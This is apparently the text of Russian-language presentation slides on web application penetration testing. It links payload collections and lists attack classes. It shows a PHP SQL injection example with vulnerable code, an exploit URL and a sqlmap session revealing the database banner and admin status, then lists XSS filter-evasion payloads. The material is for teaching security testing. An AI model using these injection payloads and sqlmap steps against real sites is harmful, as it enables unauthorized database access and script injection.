Практики по выявлению уязвимостей
в Web-приложениях
Шкарбатов Дмитрий
Руковожу командой web-разработки
в ПриватБанке, Pentester,
MD в области защиты информации
shkarbatov@gmail.com
https://www.linkedin.com/in/shkarbatov
Коллекция из нескольких типов списков, используемых в процессе оценки безопасности, собранные в одном месте. Типы списков включают в себя имена пользователей, пароли, URL, чувствительные шаблоны данных, Fuzzing полезные нагрузки, веб-оболочки, и многое другое.
https://github.com/danielmiessler/SecLists
Список полезных нагрузок и обходов для анализа безопасности веб-приложений
https://github.com/swisskyrepo/PayloadsAllTheThings
AWS Amazon Bucket S3
CRLF injection
CSV injection
CVE Shellshock Heartbleed Struts2
File Inclusion - Path Traversal
Insecured source code management
LDAP injection
Methodology and Resources
NoSQL injection
OAuth
Open redirect
PHP juggling type
PHP serialization
Remote commands execution
SQL injection
SSRF injection
Server Side Template injections
Tar commands execution
Traversal directory
Upload insecure files
Web cache deception
XPATH injection
XSS injection
XXE injections
Внедрение SQL-кода (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
// Пример уязвимого кода:
https://vulnurable_site.com/index.php?login=admin&password=123456
$login = $_GET["login"];
$password = $_GET["password"];
$query = "SELECT * FROM articles WHERE login = '$login' AND password = '$password'";
SELECT * FROM articles WHERE login = 'admin' AND password = '123456'
// Пример эксплуатации уязвимого кода:
https://vulnurable_site.com/index.php?login=admin';%20--&password=1
SELECT * FROM articles WHERE login = 'admin'; --' AND password = '1'
// Исходный запрос превратится в:
SELECT * FROM articles WHERE login = 'admin';
5 основных классов SQL-инъекций:
SQLMAP вам в помощь:
sqlmap-dev$ python sqlmap.py -u "https://vulnerable_site.net/edit_user_topic?id=239"
--banner --is-dba
[12:44:43] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:44:43] [INFO] testing connection to the target URL
[12:44:44] [INFO] the back-end DBMS is Microsoft SQL Server
[12:44:44] [INFO] fetching banner
back-end DBMS operating system: Windows 2008 R2 or 7 Service Pack 1
back-end DBMS: Microsoft SQL Server 2008
banner:
---
Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64)
Aug 19 2014 12:21:34
Copyright (c) Microsoft Corporation
Data Center Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)
---
[12:46:57] [INFO] testing if current user is DBA
current user is DBA: True
В итоге получаем следующую информацию:
Параметр уязвим к SQL Injection
Текущий пользователь является администратором СУБД
В качестве SQL сервера используется - Microsoft SQL Server 2008
В качестве операционной системы используется - Windows 2008 R2 or 7 Service Pack 1
XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.
Stored. Постоянный (хранимый, активный) XSS − вредоносный код храниться на сайте или сервере;
Reflected. Непостоянный (отраженный, пассивный) XSS − пользователю необходимо посетить специально сформированную ссылку;
DOM. XSS в DOM-модели − источник проблемы находится в клиентском сценарии.
javascript:alert("XSS")
<IMG src=javascript:alert("XSS")>
<IMG src=# onmouseover="alert('xxs')">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<BODY ONLOAD=alert('XSS')>
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072
\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
Подробней на:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
Теория
Практика